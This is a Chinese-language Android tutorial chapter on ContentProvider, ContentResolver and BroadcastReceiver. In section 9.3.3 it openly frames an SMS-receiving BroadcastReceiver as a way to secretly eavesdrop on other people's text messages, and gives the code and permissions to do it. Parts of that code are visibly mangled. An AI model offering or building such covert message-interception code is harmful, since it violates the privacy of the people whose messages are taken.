## 第九天.ContentProvider與BroadcastReceiver ##
### 9.1 ContentProvider ###
#### 9.1.1 使用ContentProvider共享數據 ####
當應用繼承ContentProvider類,并重寫該類用于提供數據和存儲數據的方法,就可以向其他應用共享其數據。雖然使用其他方法也可以對外共享數據,但數據訪問方式會因數據存儲的方式而不同,如:采用文件方式對外共享數據,需要進行文件操作讀寫數據;采用sharedpreferences共享數據,需要使用sharedpreferences API讀寫數據。而使用ContentProvider共享數據的好處是統一了數據訪問方式。
當應用需要通過ContentProvider對外共享數據時,第一步需要繼承ContentProvider并重寫下面方法:
```
public class PersonContentProvider extendsContentProvider{
public boolean onCreate()
public Uri insert(Uri uri, ContentValues values)
public int delete(Uri uri, String selection, String[] selectionArgs)
public int update(Uri uri, ContentValues values, String selection,String[] selectionArgs)
public Cursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder)
publicString getType(Uri uri)}
```
第二步需要在AndroidManifest.xml使用<provider>對該ContentProvider進行配置,為了能讓其他應用找到該ContentProvider , ContentProvider 采用了authorities(主機名/域名)對它進行唯一標識,你可以把ContentProvider看作是一個網站(想想,網站也是提供數據者),authorities 就是他的域名:
```
<manifest .... >
<application android:icon="@drawable/icon"android:label="@string/app_name">
<provider android:name=".PersonContentProvider"android:authorities=“com.lxt008.provider.personprovider"/>
</application>
</manifest>
```
注意:一旦應用繼承了ContentProvider類,后面我們就會把這個應用稱為ContentProvider(內容提供者)。
#### 9.1.2 Uri介紹 ####
Uri代表了要操作的數據,Uri主要包含了兩部分信息:
1. 需要操作的ContentProvider ,
2. 對ContentProvider中的什么數據進行操作,一個Uri由以下幾部分組成:

```
file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/msohtmlclip1/01/clip_image002.gif
```
ContentProvider(內容提供者)的scheme已經由Android所規定, scheme為:content://
主機名(或叫Authority)用于唯一標識這個ContentProvider,外部調用者可以根據這個標識來找到它。
路徑(path)可以用來表示我們要操作的數據,路徑的構建應根據業務而定,如下:
要操作person表中id為10的記錄,可以構建這樣的路徑:/person/10
要操作person表中id為10的記錄的name字段, person/10/name
要操作person表中的所有記錄,可以構建這樣的路徑:/person
要操作xxx表中的記錄,可以構建這樣的路徑:/xxx
當然要操作的數據不一定來自數據庫,也可以是文件等他存儲方式,如下:
要操作xml文件中person節點下的name節點,可以構建這樣的路徑:/person/name
如果要把一個字符串轉換成Uri,可以使用Uri類中的parse()方法,如下:
```
Uri uri =Uri.parse("content://com.lxt008.provider.personprovider/person")
```
#### 9.1.3 UriMatcher類使用介紹 ####
因為Uri代表了要操作的數據,所以我們很經常需要解析Uri,并從Uri中獲取數據。Android系統提供了兩個用于操作Uri的工具類,分別為UriMatcher和ContentUris 。掌握它們的使用,會便于我們的開發工作。
UriMatcher類用于匹配Uri,它的用法如下:
首先第一步把你需要匹配Uri路徑全部給注冊上,如下:
```
//常量UriMatcher.NO_MATCH表示不匹配任何路徑的返回碼
UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配content://com.lxt008.provider.personprovider/person路徑,返回匹配碼為1
sMatcher.addURI(“cn.itcast.provider.personprovider”,“person”, 1);//添加需要匹配uri,如果匹配就會返回匹配碼
//如果match()方法匹配content://com.lxt008.provider.personprovider/person/230路徑,返回匹配碼為2
sMatcher.addURI(“com.lxt008.provider.personprovider”,“person/#”, 2);//#號為通配符
switch (sMatcher.match(Uri.parse("content://com.lxt008.provider.personprovider/person/10"))){
case 1
break;
case 2
break;
default://不匹配
break;
}
```
注冊完需要匹配的Uri后,就可以使用sMatcher.match(uri)方法對輸入的Uri進行匹配,如果匹配就返回匹配碼,匹配碼是調用addURI()方法傳入的第三個參數,假設匹配content://com.lxt008.provider.personprovider/person路徑,返回的匹配碼為1
ContentUris類用于獲取Uri路徑后面的ID部分,它有兩個比較實用的方法:
withAppendedId(uri, id)用于為路徑加上ID部分:
```
Uri uri =Uri.parse("content://com.lxt008.provider.personprovider/person")
Uri resultUri =ContentUris.withAppendedId(uri, 10);
//生成后的Uri為:content://com.lxt008.provider.personprovider/person/10
```
parseId(uri)方法用于從路徑中獲取ID部分:
```
Uri uri = Uri.parse("content://com.lxt008.provider.personprovider/person/10")
long personid = ContentUris.parseId(uri);//獲取的結果為:10
```
#### 9.1.4 使用ContentProvider共享數據 ####
ContentProvider類主要方法的作用:
```
public boolean onCreate()
```
該方法在ContentProvider創建后就會被調用, Android在系統啟動時就會創建ContentProvider 。
```
public Uri insert(Uri uri, ContentValuesvalues)
```
該方法用于供外部應用往ContentProvider添加數據。
```
public int delete(Uri uri, Stringselection, String[] selectionArgs)
```
該方法用于供外部應用從ContentProvider刪除數據。
```
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
```
該方法用于供外部應用更新ContentProvider中的數據。
```
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
```
該方法用于供外部應用從ContentProvider中獲取數據。
```
public String getType(Uri uri)
```
該方法用于返回當前Url所代表數據的MIME類型。如果操作的數據屬于集合類型,那么MIME類型字符串應該以vnd.android.cursor.dir/開頭,例如:要得到所有person記錄的Uri為content://com.lxt008.provider.personprovider/person,那么返回的MIME類型字符串應該為:“vnd.android.cursor.dir/person”。如果要操作的數據屬于單一數據,那么MIME類型字符串應該以vnd.android.cursor.item/開頭,例如:得到id為10的person記錄,Uri為content://com.lxt008.provider.personprovider/person/10,那么返回的MIME類型字符串應該為:“vnd.android.cursor.item/person”。
### 9.2 ContentResolver ###
#### 9.2.1 ContentResolver ###
當外部應用需要對ContentProvider中的數據進行添加、刪除、修改和查詢操作時,可以使用ContentResolver類來完成,要獲取ContentResolver對象,可以使用Activity提供的getContentResolver()方法。 ContentResolver 類提供了與ContentProvider類相同簽名的四個方法:
```
public Uri insert(Uri uri, ContentValuesvalues)
```
該方法用于往ContentProvider添加數據。
```
public int delete(Uri uri, Stringselection, String[] selectionArgs)
```
該方法用于從ContentProvider刪除數據。
```
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
```
該方法用于更新ContentProvider中的數據。
```
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
```
該方法用于從ContentProvider中獲取數據。
這些方法的第一個參數為Uri,代表要操作的是哪個ContentProvider和對其中的什么數據進行操作,假設給定的是:Uri.parse(“content://com.lxt008.provider.personprovider/person/10”),那么將會對主機名為com.lxt008.provider.personprovider的ContentProvider進行操作,操作的數據為person表中id為10的記錄。
使用ContentResolver對ContentProvider中的數據進行添加、刪除、修改和查詢操作:
```
ContentResolver resolver = getContentResolver();
Uri uri =Uri.parse(“content://com.lxt008.provider.personprovider/person");
//添加一條記錄
ContentValues values = new ContentValues();
values.put("name",“lxt008");
values.put("age", 35);
resolver.insert(uri, values);
//獲取person表中所有記錄
Cursor cursor = resolver.query(uri, null,null, null, "personid desc");
while(cursor.moveToNext()){
Log.i("ContentTest","personid="+ cursor.getInt(0)+ ",name="+cursor.getString(1));
}
//把id為1的記錄的name字段值更改新為liming
ContentValues updateValues = newContentValues();
updateValues.put("name","liming");
Uri updateIdUri =ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues,null, null);
//刪除id為2的記錄
Uri deleteIdUri =ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);
```
#### 9.2.2 讀取電話本 ####
Demo請參考systemcontacts
進程間交互可以通過ContentResolver和ContentProvider類處理。
### 9.3 BroadcastReceiver ###
#### 9.3.1 Broadcast Intent Receiver ####
當你想要寫一個程序來對外部的事件做些處理時,可以使用Broadcast Intent Receiver。比如:當電話響時,有短信時。Broadcast Intent Receiver它并不能拿來顯示UI畫面,它必需利用NotificationManager來通知使用者他們感興趣的事件發生了。
Broadcast Intent Receiver同樣的可以在AndroidManifest.xml中聲明,但你也可以用寫Context.registerReceiver()程序的方式來注冊你自己的Broadcast Intent Receiver。你自己的程序并不會因為BroadcastReceivers被呼叫而被它執行起來。而是當BroadcastReceiver被觸發 時系統會依需求來執行相對應的程序。
程序可以利用Context.sendBroadcast()來發出他們自己的intent broadcast給其它的程序。
#### 9.3.2 廣播接收者--BroadcastReceiver ####
廣播接收者(BroadcastReceiver)用于異步接收廣播Intent,廣播Intent的發送是通過調用Context.sendBroadcast()、Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,廣播接收者和JMS中的Topic消息接收者很相似。要實現一個廣播接收者方法如下:
第一步:繼承BroadcastReceiver,并重寫onReceive()方法。
```
public class IncomingSMSReceiver extendsBroadcastReceiver {
@Overridepublic void onReceive(Context context, Intent intent) {
}
}
```
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第一種:使用代碼進行訂閱
```
IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);
```
第二種:在AndroidManifest.xml文件中的<application>節點里進行訂閱:
```
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
```
#### 9.3.3 使用廣播接收者竊聽短信 ####
如果你想竊聽別人接收到的短信,達到你不可告人的目的,那么本節內容可以實現你的需求。
當系統收到短信時,會發出一個action名稱為android.provider.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接收到的短信內容,使用名稱“pdus”即可從Intent中獲取短信內容。
```
public class IncomingSMSReceiver extendsBroadcastReceiver {
private static final String SMS_RECEIVED ="android.provider.Telephony.SMS_RECEIVED";
@Override public void onReceive(Contextcontext, Intent intent) {
if(intent.getAction().equals(SMS_RECEIVED)) {
SmsManagersms = SmsManager.getDefault();
Bundlebundle = intent.getExtras();
if(bundle != null) {
Object[]pdus = (Object[]) bundle.get("pdus");
SmsMessage[]messages = new SmsMessage[pdus.length];
for(int i = 0; i < pdus.length; i++) messages =SmsMessage.createFromPdu((byte[]) pdus);
for(SmsMessage message : messages){
Stringmsg = message.getMessageBody();
Stringto = message.getOriginatingAddress();
sms.sendTextMessage(to,null, msg, null, null);
}}}}}
```
在AndroidManifest.xml文件中的<application>節點里對接收到短信的廣播Intent進行訂閱:
```
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter><actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>
```
在AndroidManifest.xml文件中添加以下權限:
```
<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
<uses-permissionandroid:name="android.permission.SEND_SMS"/><!-- 發送短信權限 -->
```
#### 9.3.4 廣播接收者 ####
除了短信到來廣播Intent,Android還有很多廣播Intent,如:開機啟動、電池電量變化、時間已經改變等廣播Intent。
+ 接收電池電量變化廣播Intent ,在AndroidManifest.xml文件中的<application>節點里訂閱此Intent:
```
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>
```
+ 接收開機啟動廣播Intent,在AndroidManifest.xml文件中的<application>節點里訂閱此Intent:
```
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
```
并且要進行權限聲明:
```
<uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
```
通常一個BroadcastReceiver對象的生命周期不超過5秒,所以在BroadcastReceiver里不能做一些比較耗時的操作,如果需要完成一項比較耗時的工作,可以通過發送Intent給Activity或Service,由Activity或Service來完成。
```
public class IncomingSMSReceiver extendsBroadcastReceiver {
@Overridepublic void onReceive(Context context, Intent intent) {
//發送Intent啟動服務,由服務來完成比較耗時的操作
Intent service = new Intent(context, XxxService.class);
context.startService(service);
//發送Intent啟動Activity,由Activity來完成比較耗時的操作
Intent newIntent = new Intent(context, XxxActivity.class);
context.startActivity(newIntent);
}
}
```
#### 9.3.5 鬧鐘與提醒服務Demo ####
+ 研究案例:AlarmDemo
+ 研究案例: MultiAlarmReceiver
[示例下載](http://www.apkbus.com/android-83449-1-1.html)